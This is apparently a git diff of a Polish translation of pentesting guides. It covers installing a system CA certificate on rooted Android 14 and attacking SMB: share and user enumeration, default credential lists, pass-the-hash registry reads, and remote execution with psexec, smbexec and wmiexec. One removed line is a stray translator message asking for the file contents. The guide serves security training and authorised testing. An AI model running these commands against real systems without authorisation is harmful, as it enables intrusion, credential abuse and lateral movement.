1. **Utworzenie zapisywalnego katalogu**: Początkowo tworzy się zapisywalny katalog, montując `tmpfs` nad istniejącym katalogiem certyfikatów systemowych non-APEX. Robi się to za pomocą następującego polecenia:
|
||||
```bash
|
||||
mount -t tmpfs tmpfs /system/etc/security/cacerts
|
||||
```
|
||||
2. **Preparing CA Certificates**: Po skonfigurowaniu zapisywalnego katalogu, CA certificates, które zamierzasz użyć, należy skopiować do tego katalogu. Może to wymagać skopiowania domyślnych certyfikatów z `/apex/com.android.conscrypt/cacerts/`. Należy odpowiednio ustawić uprawnienia i etykiety SELinux tych certyfikatów.
|
||||
3. **Bind Mounting for Zygote**: Używając `nsenter`, wchodzi się do mount namespace procesu Zygote. Zygote, będący procesem odpowiedzialnym za uruchamianie aplikacji Android, wymaga tego kroku, aby wszystkie później uruchamiane aplikacje korzystały z nowo skonfigurowanych CA certificates. Użyta komenda to:
|
||||
2. **Przygotowanie certyfikatów CA**: Po skonfigurowaniu katalogu z możliwością zapisu, certyfikaty CA, które zamierza się użyć, powinny zostać skopiowane do tego katalogu. Może to obejmować skopiowanie domyślnych certyfikatów z `/apex/com.android.conscrypt/cacerts/`. Konieczne jest odpowiednie ustawienie uprawnień i etykiet SELinux dla tych certyfikatów.
|
||||
3. **Montowanie bind dla Zygote**: Za pomocą `nsenter` wchodzi się do mount namespace Zygote. Zygote, będący procesem odpowiedzialnym za uruchamianie aplikacji Android, wymaga tego kroku, aby zapewnić, że wszystkie uruchamiane dalej aplikacje będą korzystać z nowo skonfigurowanych certyfikatów CA. Używane polecenie to:
|
||||
```bash
|
||||
nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
|
||||
```
|
||||
To zapewnia, że każda nowo uruchomiona aplikacja będzie stosować zaktualizowaną konfigurację certyfikatów CA.
|
||||
To zapewnia, że każda nowa aplikacja będzie korzystać ze zaktualizowanego zestawu certyfikatów CA.
|
||||
|
||||
4. **Zastosowanie zmian w działających aplikacjach**: Aby zastosować zmiany w już działających aplikacjach, ponownie używa się `nsenter`, aby wejść do namespace każdej aplikacji indywidualnie i wykonać podobny bind mount. Niezbędne polecenie to:
|
||||
4. **Applying Changes to Running Apps**: Aby zastosować zmiany w już działających aplikacjach, ponownie używa się `nsenter`, aby wejść do namespace każdej aplikacji osobno i wykonać podobny bind mount. Niezbędne polecenie to:
|
||||
```bash
|
||||
nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
|
||||
```
|
||||
5. **Alternatywne podejście - Soft Reboot**: Alternatywna metoda polega na wykonaniu bind mount na procesie `init` (PID 1), a następnie przeprowadzeniu soft reboot systemu operacyjnego za pomocą poleceń `stop && start`. To podejście spowoduje propagację zmian we wszystkich namespaces, eliminując potrzebę indywidualnego adresowania każdej uruchomionej aplikacji. Jednak ta metoda jest zazwyczaj mniej preferowana ze względu na niedogodność związaną z ponownym uruchomieniem.
|
||||
5. **Alternative Approach - Soft Reboot**: Alternatywna metoda polega na wykonaniu bind mount na procesie `init` (PID 1), a następnie użyciu soft reboot systemu operacyjnego za pomocą poleceń `stop && start`. Podejście to spowoduje propagację zmian we wszystkich namespaces, dzięki czemu nie trzeba indywidualnie obsługiwać każdej uruchomionej app. Jednak metoda ta jest zazwyczaj mniej preferowana ze względu na niedogodności związane z rebootowaniem.
|
||||
|
||||
## Źródła
|
||||
## Referencje
|
||||
|
||||
- [Android 14: Install a system CA certificate on a rooted device](https://httptoolkit.com/blog/android-14-install-system-ca-certificate/)
|
||||
- [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)
|
||||
|
@ -4,43 +4,43 @@
|
||||
|
||||
## **Port 139**
|
||||
|
||||
The _**Network Basic Input Output System**_** (NetBIOS)** to protokół programowy zaprojektowany, aby umożliwić aplikacjom, komputerom PC i stacjom roboczym w lokalnej sieci komputerowej (LAN) interakcję ze sprzętem sieciowym oraz **ułatwić przesyłanie danych w sieci**. Identyfikacja i lokalizacja aplikacji działających w sieci NetBIOS odbywa się za pomocą ich NetBIOS names, które mogą mieć do 16 znaków i często różnią się od nazwy komputera. Sesja NetBIOS między dwiema aplikacjami jest inicjowana, gdy jedna aplikacja (pełniąca rolę klienta) wydaje polecenie "call" do innej aplikacji (pełniącej rolę serwera), korzystając z **TCP Port 139**.
|
||||
_**System podstawowego wejścia/wyjścia sieci**_** (NetBIOS)** to protokół programowy zaprojektowany, aby umożliwić aplikacjom, komputerom PC i stacjom roboczym w sieci lokalnej (LAN) komunikację ze sprzętem sieciowym oraz **ułatwić przesyłanie danych w sieci**. Identyfikacja i lokalizacja aplikacji działających w sieci NetBIOS odbywa się za pomocą ich nazw NetBIOS, które mogą mieć do 16 znaków i często różnią się od nazwy komputera. Sesja NetBIOS między dwoma aplikacjami jest inicjowana, gdy jedna aplikacja (działająca jako klient) wydaje polecenie "wywołania" innej aplikacji (działającej jako serwer) wykorzystując **TCP Port 139**.
|
||||
```
|
||||
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
||||
```
|
||||
## Port 445
|
||||
|
||||
Technicznie rzecz biorąc, Port 139 nazywany jest ‘NBT over IP’, natomiast Port 445 określany jest jako ‘SMB over IP’. Skrót **SMB** oznacza ‘**Server Message Blocks**’, który jest współcześnie znany również jako **Common Internet File System (CIFS)**. Jako protokół sieciowy warstwy aplikacji, SMB/CIFS jest wykorzystywany głównie do umożliwienia współdzielonego dostępu do plików, drukarek, portów szeregowych oraz do ułatwiania różnych form komunikacji między węzłami w sieci.
|
||||
Technicznie Port 139 jest określany jako ‘NBT over IP’, natomiast Port 445 jest identyfikowany jako ‘SMB over IP’. Akronim **SMB** oznacza ‘**Server Message Blocks**’, które współcześnie jest również znane jako **Common Internet File System (CIFS)**. Jako protokół sieciowy warstwy aplikacji, SMB/CIFS jest wykorzystywany głównie do udostępniania plików, drukarek, portów szeregowych oraz do realizowania różnych form komunikacji między węzłami w sieci.
|
||||
|
||||
Na przykład, w kontekście Windows podkreśla się, że SMB może działać bezpośrednio nad TCP/IP, eliminując konieczność korzystania z NetBIOS over TCP/IP poprzez wykorzystanie portu 445. Natomiast w innych systemach obserwuje się użycie portu 139, co wskazuje, że SMB jest uruchamiany w połączeniu z NetBIOS over TCP/IP.
|
||||
Na przykład, w kontekście Windows podkreśla się, że SMB może działać bezpośrednio przez TCP/IP, eliminując konieczność użycia NetBIOS over TCP/IP, dzięki wykorzystaniu portu 445. Natomiast na innych systemach użycie portu 139 wskazuje, że SMB jest uruchamiany w połączeniu z NetBIOS over TCP/IP.
|
||||
```
|
||||
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
|
||||
```
|
||||
### SMB
|
||||
|
||||
The **Server Message Block (SMB)** protocol, operating in a **klient-serwer** model, is designed for regulating **dostęp do plików**, directories, and other network resources like printers and routers. Primarily utilized within the **Windows** operating system series, SMB ensures backward compatibility, allowing devices with newer versions of Microsoft's operating system to seamlessly interact with those running older versions. Additionally, the **Samba** project offers a free software solution, enabling SMB's implementation on **Linux** and Unix systems, thereby facilitating cross-platform communication through SMB.
|
||||
Protokół **Server Message Block (SMB)**, działający w modelu **klient-serwer**, służy do regulowania **dostępu do plików**, katalogów oraz innych zasobów sieciowych, takich jak drukarki i routery. Używany głównie w rodzinie systemów operacyjnych **Windows**, SMB zapewnia kompatybilność wsteczną, pozwalając urządzeniom z nowszymi wersjami systemu Microsoft na bezproblemową interakcję z urządzeniami działającymi na starszych wersjach. Dodatkowo projekt **Samba** oferuje wolne oprogramowanie umożliwiające implementację SMB na systemach **Linux** i Unix, ułatwiając w ten sposób komunikację międzyplatformową przez SMB.
|
||||
|
||||
Udostępnienia, reprezentujące **dowolne części lokalnego systemu plików**, mogą być dostarczone przez serwer SMB, czyniąc hierarchię widoczną dla klienta częściowo **niezależną** od faktycznej struktury serwera. The **Access Control Lists (ACLs)**, które definiują **prawa dostępu**, pozwalają na **precyzyjną kontrolę** nad uprawnieniami użytkowników, w tym atrybutami takimi jak **`execute`**, **`read`** i **`full access`**. Te uprawnienia mogą być przypisywane pojedynczym użytkownikom lub grupom, w zależności od udostępnień, i są odrębne od lokalnych uprawnień ustawionych na serwerze.
|
||||
Udostępnienia (shares), reprezentujące **dowolne części lokalnego systemu plików**, mogą być udostępnione przez serwer SMB, dzięki czemu widok hierarchii dla klienta jest częściowo **niezależny** od rzeczywistej struktury serwera. **Access Control Lists (ACLs)**, które definiują **prawa dostępu**, pozwalają na **precyzyjną kontrolę** uprawnień użytkowników, włączając atrybuty takie jak **`execute`**, **`read`** i **`full access`**. Uprawnienia te mogą być przypisywane do poszczególnych użytkowników lub grup w zależności od udostępnień i są odrębne od lokalnych uprawnień ustawionych na serwerze.
|
||||
|
||||
### IPC$ Share
|
||||
|
||||
Dostęp do udostępnienia IPC$ można uzyskać poprzez anonimową null session, co umożliwia interakcję z usługami wystawionymi przez named pipes. Narzędzie `enum4linux` jest przydatne do tego celu. Prawidłowo użyte umożliwia pozyskanie:
|
||||
Dostęp do udostępnienia IPC$ można uzyskać poprzez anonimową null session, co pozwala na interakcję z usługami wystawionymi przez named pipes. Narzędzie `enum4linux` jest przydatne do tego celu. Prawidłowo użyte umożliwia uzyskanie:
|
||||
|
||||
- Informacji o systemie operacyjnym
|
||||
- Szczegółów o domenie nadrzędnej
|
||||
- Listy lokalnych użytkowników i grup
|
||||
- Informacji o dostępnych udostępnieniach SMB
|
||||
- Informacje o systemie operacyjnym
|
||||
- Szczegóły dotyczące domeny nadrzędnej
|
||||
- Lista lokalnych użytkowników i grup
|
||||
- Informacje o dostępnych udostępnieniach SMB
|
||||
- Obowiązującej polityki bezpieczeństwa systemu
|
||||
|
||||
Ta funkcjonalność jest kluczowa dla administratorów sieci i specjalistów ds. bezpieczeństwa, aby ocenić postawę bezpieczeństwa usług SMB (Server Message Block) w sieci. `enum4linux` dostarcza kompleksowego obrazu środowiska SMB docelowego systemu, co jest niezbędne do identyfikowania potencjalnych podatności i zapewnienia, że usługi SMB są odpowiednio zabezpieczone.
|
||||
Funkcjonalność ta jest kluczowa dla administratorów sieci i specjalistów ds. bezpieczeństwa do oceny stanu zabezpieczeń usług SMB (Server Message Block) w sieci. `enum4linux` dostarcza kompleksowego obrazu środowiska SMB systemu docelowego, co jest niezbędne do identyfikacji potencjalnych luk oraz zapewnienia, że usługi SMB są odpowiednio zabezpieczone.
|
||||
```bash
|
||||
enum4linux -a target_ip
|
||||
```
|
||||
Powyższe polecenie jest przykładem, jak można użyć `enum4linux` do przeprowadzenia pełnej enumeracji celu określonego jako `target_ip`.
|
||||
The above command is an example of how `enum4linux` might be used to perform a full enumeration against a target specified by `target_ip`.
|
||||
|
||||
## Czym jest NTLM
|
||||
|
||||
Jeśli nie wiesz, czym jest NTLM lub chcesz zrozumieć, jak działa i jak można to wykorzystać, bardzo interesująca będzie ta strona o **NTLM**, na której wyjaśniono **jak ten protokół działa i jak możesz go wykorzystać:**
|
||||
Jeśli nie wiesz, czym jest NTLM lub chcesz poznać jego działanie i sposoby nadużyć, bardzo ciekawa będzie ta strona o **NTLM**, na której wyjaśniono **jak działa ten protokół i jak można go wykorzystać:**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -49,15 +49,15 @@ Jeśli nie wiesz, czym jest NTLM lub chcesz zrozumieć, jak działa i jak można
|
||||
|
||||
## **Enumeracja serwerów**
|
||||
|
||||
### **Scan** sieci w poszukiwaniu hostów:
|
||||
### **Skanowanie** sieci w poszukiwaniu hostów:
|
||||
```bash
|
||||
nbtscan -r 192.168.0.1/24
|
||||
```
|
||||
### Wersja serwera SMB
|
||||
|
||||
Aby szukać możliwych exploits dla wersji SMB, ważne jest, aby wiedzieć, która wersja jest używana. Jeśli ta informacja nie pojawia się w innych używanych narzędziach, możesz:
|
||||
Aby szukać potencjalnych exploitów dla wersji SMB, ważne jest, aby znać używaną wersję. Jeśli ta informacja nie pojawia się w innych używanych narzędziach, możesz:
|
||||
|
||||
- Użyj modułu pomocniczego **MSF** `**auxiliary/scanner/smb/smb_version**`
|
||||
- Użyj pomocniczego modułu **MSF** `**auxiliary/scanner/smb/smb_version**`
|
||||
- Lub ten skrypt:
|
||||
```bash
|
||||
#!/bin/sh
|
||||
@ -82,8 +82,8 @@ searchsploit microsoft smb
|
||||
```
|
||||
### **Możliwe** dane uwierzytelniające
|
||||
|
||||
| **Nazwa(y) użytkownika** | **Typowe hasła** |
|
||||
| -------------------- | ----------------------------------------- |
|
||||
| **Nazwa użytkownika(ów)** | **Typowe hasła** |
|
||||
| ------------------------- | ---------------------------------------- |
|
||||
| _(puste)_ | _(puste)_ |
|
||||
| guest | _(puste)_ |
|
||||
| Administrator, admin | _(puste)_, password, administrator, admin |
|
||||
@ -98,7 +98,7 @@ searchsploit microsoft smb
|
||||
|
||||
### Informacje o środowisku SMB
|
||||
|
||||
### Uzyskanie informacji
|
||||
### Zdobywanie informacji
|
||||
```bash
|
||||
#Dump interesting information
|
||||
enum4linux -a [-u "<username>" -p "<passwd>"] <IP>
|
||||
@ -120,9 +120,9 @@ rpcclient -U "username%passwd" <IP> #With creds
|
||||
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
|
||||
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
|
||||
```
|
||||
### Wylistuj użytkowników, grupy & zalogowanych użytkowników
|
||||
### Wylicz użytkowników, grupy i zalogowanych użytkowników
|
||||
|
||||
Te informacje powinny być już zebrane przez enum4linux i enum4linux-ng
|
||||
Te informacje powinny już być zebrane przez enum4linux i enum4linux-ng
|
||||
```bash
|
||||
crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
|
||||
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
|
||||
@ -134,36 +134,36 @@ rpcclient -U "" -N 10.10.10.10
|
||||
enumdomusers
|
||||
enumdomgroups
|
||||
```
|
||||
### Wypisz lokalnych użytkowników
|
||||
### Wyliczanie lokalnych użytkowników
|
||||
|
||||
[Impacket](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py)
|
||||
```bash
|
||||
lookupsid.py -no-pass hostname.local
|
||||
```
|
||||
Jednolinijkowiec
|
||||
Oneliner
|
||||
```bash
|
||||
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
|
||||
```
|
||||
### Metasploit - Enumeracja użytkowników lokalnych
|
||||
### Metasploit - Enumeracja lokalnych użytkowników
|
||||
```bash
|
||||
use auxiliary/scanner/smb/smb_lookupsid
|
||||
set rhosts hostname.local
|
||||
run
|
||||
```
|
||||
### **Enumerating LSARPC and SAMR rpcclient**
|
||||
### **Enumeracja LSARPC i SAMR rpcclient**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
rpcclient-enumeration.md
|
||||
{{#endref}}
|
||||
|
||||
### GUI — połączenie z Linuxem
|
||||
### Połączenie GUI z linux
|
||||
|
||||
#### W terminalu:
|
||||
|
||||
`xdg-open smb://cascade.htb/`
|
||||
|
||||
#### W oknie przeglądarki plików (nautilus, thunar, etc)
|
||||
#### W oknie menedżera plików (nautilus, thunar, itp)
|
||||
|
||||
`smb://friendzone.htb/general/`
|
||||
|
||||
@ -171,7 +171,7 @@ rpcclient-enumeration.md
|
||||
|
||||
### Lista udostępnionych folderów
|
||||
|
||||
Zawsze zaleca się sprawdzić, czy możesz uzyskać dostęp do jakichkolwiek zasobów; jeśli nie masz poświadczeń, spróbuj użyć **null** **credentials/guest user**.
|
||||
Zaleca się zawsze sprawdzić, czy możesz uzyskać dostęp do czegokolwiek; jeśli nie masz poświadczeń, spróbuj użyć **null** **credentials/guest user**.
|
||||
```bash
|
||||
smbclient --no-pass -L //<IP> # Null user
|
||||
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
|
||||
@ -185,7 +185,7 @@ crackmapexec smb <IP> -u '' -p '' --shares #Null user
|
||||
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
|
||||
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user
|
||||
```
|
||||
### **Połącz/Wyświetl folder udostępniony**
|
||||
### **Połącz/Wyświetl udostępniony folder**
|
||||
```bash
|
||||
#Connect using smbclient
|
||||
smbclient --no-pass //<IP>/<Folder>
|
||||
@ -197,11 +197,11 @@ smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive
|
||||
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
|
||||
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
|
||||
```
|
||||
### **Ręcznie wylicz udziały Windows i połącz się z nimi**
|
||||
### **Ręczne enumerowanie udziałów Windows i łączenie się z nimi**
|
||||
|
||||
Może się zdarzyć, że masz ograniczenie w wyświetlaniu udziałów hosta i gdy próbujesz je wypisać, wygląda to tak, jakby nie było żadnych udziałów do połączenia. Warto więc spróbować ręcznie połączyć się z udziałem. Aby ręcznie wyenumerować udziały, warto zwrócić uwagę na odpowiedzi takie jak NT_STATUS_ACCESS_DENIED i NT_STATUS_BAD_NETWORK_NAME, gdy używasz ważnej sesji (np. null session lub valid credentials). Mogą one wskazywać, czy udział istnieje i nie masz do niego dostępu, albo udział w ogóle nie istnieje.
|
||||
Może się zdarzyć, że masz ograniczenia w wyświetlaniu udziałów hosta i gdy próbujesz je wypisać, wygląda jakby nie było żadnych udziałów do połączenia. Warto więc spróbować krótko ręcznie połączyć się z udziałem. Aby ręcznie enumerować udziały, warto zwrócić uwagę na odpowiedzi takie jak NT_STATUS_ACCESS_DENIED oraz NT_STATUS_BAD_NETWORK_NAME przy użyciu prawidłowej sesji (np. null session lub prawidłowe poświadczenia). Mogą one wskazywać, czy udział istnieje, ale nie masz do niego dostępu, albo udział w ogóle nie istnieje.
|
||||
|
||||
Common share names for windows targets are
|
||||
Typowe nazwy udziałów dla celów Windows to
|
||||
|
||||
- C$
|
||||
- D$
|
||||
@ -212,14 +212,14 @@ Common share names for windows targets are
|
||||
- SYSVOL
|
||||
- NETLOGON
|
||||
|
||||
(Common share names from _**Network Security Assessment 3rd edition**_)
|
||||
(Typowe nazwy udziałów z _**Network Security Assessment 3rd edition**_)
|
||||
|
||||
Możesz spróbować połączyć się z nimi, używając następującego polecenia
|
||||
Możesz spróbować połączyć się z nimi używając następującego polecenia
|
||||
```bash
|
||||
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
|
||||
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
|
||||
```
|
||||
lub ten skrypt (używając null session)
|
||||
lub ten script (używając null session)
|
||||
```bash
|
||||
#/bin/bash
|
||||
|
||||
@ -236,12 +236,12 @@ echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD
|
||||
fi
|
||||
done
|
||||
```
|
||||
Nie mam treści pliku. Proszę wklej zawartość src/network-services-pentesting/pentesting-smb/README.md (lub fragmenty, które chcesz przetłumaczyć). Przetłumaczę na polski, zachowując dokładnie markdown/HTML oraz nie tłumacząc kodu, tagów, linków i ścieżek.
|
||||
przykłady
|
||||
```bash
|
||||
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
|
||||
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
|
||||
```
|
||||
### **Wyliczanie udostępnień w Windows / bez narzędzi firm trzecich**
|
||||
### **Wyliczanie udziałów w Windows bez użycia narzędzi firm trzecich**
|
||||
|
||||
PowerShell
|
||||
```bash
|
||||
@ -274,9 +274,9 @@ explorer.exe (graficzny), wpisz `\\<ip>\`, aby zobaczyć dostępne nieukryte udz
|
||||
mount -t cifs //x.x.x.x/share /mnt/share
|
||||
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
|
||||
```
|
||||
### **Pobierz pliki**
|
||||
### **Pobieranie plików**
|
||||
|
||||
Przeczytaj poprzednie sekcje, aby dowiedzieć się, jak połączyć się przy użyciu credentials/Pass-the-Hash.
|
||||
Przeczytaj wcześniejsze sekcje, aby dowiedzieć się, jak połączyć się za pomocą credentials/Pass-the-Hash.
|
||||
```bash
|
||||
#Search a file and download
|
||||
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
|
||||
@ -291,16 +291,16 @@ smbclient //<IP>/<share>
|
||||
> mget *
|
||||
#Download everything to current directory
|
||||
```
|
||||
Commands:
|
||||
Polecenia:
|
||||
|
||||
- mask: określa maskę, która jest używana do filtrowania plików w katalogu (np. "" dla wszystkich plików)
|
||||
- recurse: włącza rekurencję (domyślnie: off)
|
||||
- prompt: wyłącza proszenie o nazwy plików (domyślnie: on)
|
||||
- mask: określa maskę używaną do filtrowania plików w katalogu (np. "" dla wszystkich plików)
|
||||
- recurse: przełącza rekursję (domyślnie: wyłączona)
|
||||
- prompt: wyłącza żądanie podawania nazw plików (domyślnie: włączone)
|
||||
- mget: kopiuje wszystkie pliki pasujące do maski z hosta na maszynę klienta
|
||||
|
||||
(_Informacje z manpage smbclient_)
|
||||
(_Informacja z manpage programu smbclient_)
|
||||
|
||||
### Wyszukiwanie udostępnionych folderów w domenie
|
||||
### Wyszukiwanie udostępnionych folderów domenowych
|
||||
|
||||
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)
|
||||
```bash
|
||||
@ -312,15 +312,15 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data
|
||||
```bash
|
||||
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
|
||||
```
|
||||
Szczególnie interesujące w udostępnieniach są pliki o nazwie **`Registry.xml`**, ponieważ **mogą zawierać hasła** dla użytkowników skonfigurowanych z **autologon** za pomocą Group Policy. Również pliki **`web.config`** mogą zawierać poświadczenia.
|
||||
Szczególnie interesujące w share'ach są pliki o nazwie **`Registry.xml`**, ponieważ **mogą zawierać passwords** dla użytkowników skonfigurowanych z **autologon** za pomocą Group Policy. Pliki **`web.config`** również mogą zawierać credentials.
|
||||
|
||||
> [!TIP]
|
||||
> The **SYSVOL share** is **readable** by all authenticated users in the domain. In there you may **find** many different batch, VBScript, and PowerShell **scripts**.\
|
||||
> You should **check** the **scripts** inside of it as you might **find** sensitive info such as **passwords**.
|
||||
> **SYSVOL share** jest **czytelny** dla wszystkich uwierzytelnionych użytkowników w domenie. Tam możesz **znaleźć** wiele różnych batch, VBScript i PowerShell **skryptów**.\
|
||||
> Powinieneś **sprawdzić** **skrypty** w nim, ponieważ możesz **znaleźć** wrażliwe informacje, takie jak **passwords**.
|
||||
|
||||
## Odczyt rejestru
|
||||
|
||||
Możesz być w stanie **odczytać rejestr** za pomocą odkrytych poświadczeń. Impacket **`reg.py`** pozwala spróbować:
|
||||
Możesz być w stanie **odczytać rejestr** używając znalezionych poświadczeń. Impacket **`reg.py`** pozwala spróbować:
|
||||
```bash
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
|
||||
@ -328,26 +328,26 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87
|
||||
```
|
||||
## Post Exploitation
|
||||
|
||||
Domyślna konfiguracja serwera **Samba** zwykle znajduje się w `/etc/samba/smb.conf` i może zawierać niektóre **niebezpieczne ustawienia**:
|
||||
Domyślna konfiguracja serwera **Samba** zwykle znajduje się w `/etc/samba/smb.conf` i może zawierać kilka **niebezpiecznych ustawień**:
|
||||
|
||||
| **Ustawienie** | **Opis** |
|
||||
| --------------------------- | ------------------------------------------------------------------- |
|
||||
| `browseable = yes` | Pozwala na wyświetlanie dostępnych udziałów w bieżącym udziale? |
|
||||
| -------------------------- | ------------------------------------------------------------------- |
|
||||
| `browseable = yes` | Pozwala na wyświetlenie listy dostępnych udziałów? |
|
||||
| `read only = no` | Zabrania tworzenia i modyfikacji plików? |
|
||||
| `writable = yes` | Pozwala użytkownikom tworzyć i modyfikować pliki? |
|
||||
| `guest ok = yes` | Pozwala łączyć się z usługą bez użycia hasła? |
|
||||
| `enable privileges = yes` | Respektować uprawnienia przypisane określonemu SID? |
|
||||
| `create mask = 0777` | Jakie uprawnienia mają być nadane nowo utworzonym plikom? |
|
||||
| `directory mask = 0777` | Jakie uprawnienia mają być nadane nowo utworzonym katalogom? |
|
||||
| `logon script = script.sh` | Jaki skrypt musi być uruchomiony przy logowaniu użytkownika? |
|
||||
| `guest ok = yes` | Pozwala na połączenie z serwisem bez użycia hasła? |
|
||||
| `enable privileges = yes` | Respektować uprawnienia przypisane do konkretnego SID? |
|
||||
| `create mask = 0777` | Jakie uprawnienia mają być przypisane nowo utworzonym plikom? |
|
||||
| `directory mask = 0777` | Jakie uprawnienia mają być przypisane nowo utworzonym katalogom? |
|
||||
| `logon script = script.sh` | Jaki skrypt ma być uruchomiony przy logowaniu użytkownika? |
|
||||
| `magic script = script.sh` | Jaki skrypt powinien być uruchomiony, gdy skrypt zostanie zamknięty?|
|
||||
| `magic output = script.out` | Gdzie należy zapisać wyjście magic script? |
|
||||
| `magic output = script.out`| Gdzie należy zapisać wyjście magicznego skryptu? |
|
||||
|
||||
Polecenie `smbstatus` dostarcza informacji o **serwerze** i o tym, **kto jest połączony**.
|
||||
Polecenie `smbstatus` daje informacje o **serwerze** oraz o **tym, kto jest połączony**.
|
||||
|
||||
## Uwierzytelnianie przy użyciu Kerberos
|
||||
|
||||
Możesz się **uwierzytelnić** w **Kerberos** za pomocą narzędzi **smbclient** i **rpcclient**:
|
||||
Możesz **uwierzytelnić się** w **Kerberos** używając narzędzi **smbclient** i **rpcclient**:
|
||||
```bash
|
||||
smbclient --kerberos //ws01win10.domain.com/C$
|
||||
rpcclient -k ws01win10.domain.com
|
||||
@ -356,7 +356,7 @@ rpcclient -k ws01win10.domain.com
|
||||
|
||||
### **crackmapexec**
|
||||
|
||||
crackmapexec może wykonywać polecenia, wykorzystując dowolną z metod **mmcexec, smbexec, atexec, wmiexec**, przy czym **wmiexec** jest metodą **domyślną**. Możesz wskazać, której opcji chcesz użyć za pomocą parametru `--exec-method`:
|
||||
crackmapexec może wykonywać polecenia **wykorzystując** dowolne z **mmcexec, smbexec, atexec, wmiexec**, przy czym **wmiexec** jest metodą **domyślną**. Możesz wskazać, której opcji chcesz użyć, za pomocą parametru `--exec-method`:
|
||||
```bash
|
||||
apt-get install crackmapexec
|
||||
|
||||
@ -380,8 +380,8 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
|
||||
```
|
||||
### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)
|
||||
|
||||
Obie opcje **utworzą nową usługę** (używając _\pipe\svcctl_ przez SMB) na maszynie ofiary i użyją jej do **wykonania czegoś** (**psexec** **prześle** plik wykonywalny do udziału ADMIN$ a **smbexec** będzie wskazywać na **cmd.exe/powershell.exe** i umieści w argumentach payload --**file-less technique-**-).\
|
||||
**Więcej informacji** o [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)i [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
|
||||
Obie opcje **utworzą nową usługę** (używając _\pipe\svcctl_ przez SMB) na maszynie ofiary i użyją jej do **uruchomienia czegoś** (**psexec** **wgra** plik wykonywalny na ADMIN$ share, a **smbexec** wskaże **cmd.exe/powershell.exe** i umieści w argumentach payload --**file-less technique-**-).\
|
||||
**Więcej informacji** o [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)and [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
|
||||
W **kali** znajduje się w /usr/share/doc/python3-impacket/examples/
|
||||
```bash
|
||||
#If no password is provided, it will be prompted
|
||||
@ -394,7 +394,7 @@ Używając **parametru**`-k` możesz uwierzytelnić się przy użyciu **kerberos
|
||||
|
||||
### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec
|
||||
|
||||
Pozwala dyskretnie uruchomić powłokę poleceń bez zapisu na dysku ani uruchamiania nowej usługi, używając DCOM przez **port 135.**\
|
||||
Umożliwia dyskretne uruchomienie powłoki poleceń bez zapisu na dysku ani uruchamiania nowej usługi, używając DCOM przez **port 135.**\
|
||||
W **kali** znajduje się w /usr/share/doc/python3-impacket/examples/
|
||||
```bash
|
||||
#If no password is provided, it will be prompted
|
||||
@ -402,7 +402,7 @@ W **kali** znajduje się w /usr/share/doc/python3-impacket/examples/
|
||||
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
|
||||
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
|
||||
```
|
||||
Używając **parametru**`-k` możesz uwierzytelniać się przy użyciu **kerberos** zamiast **NTLM**
|
||||
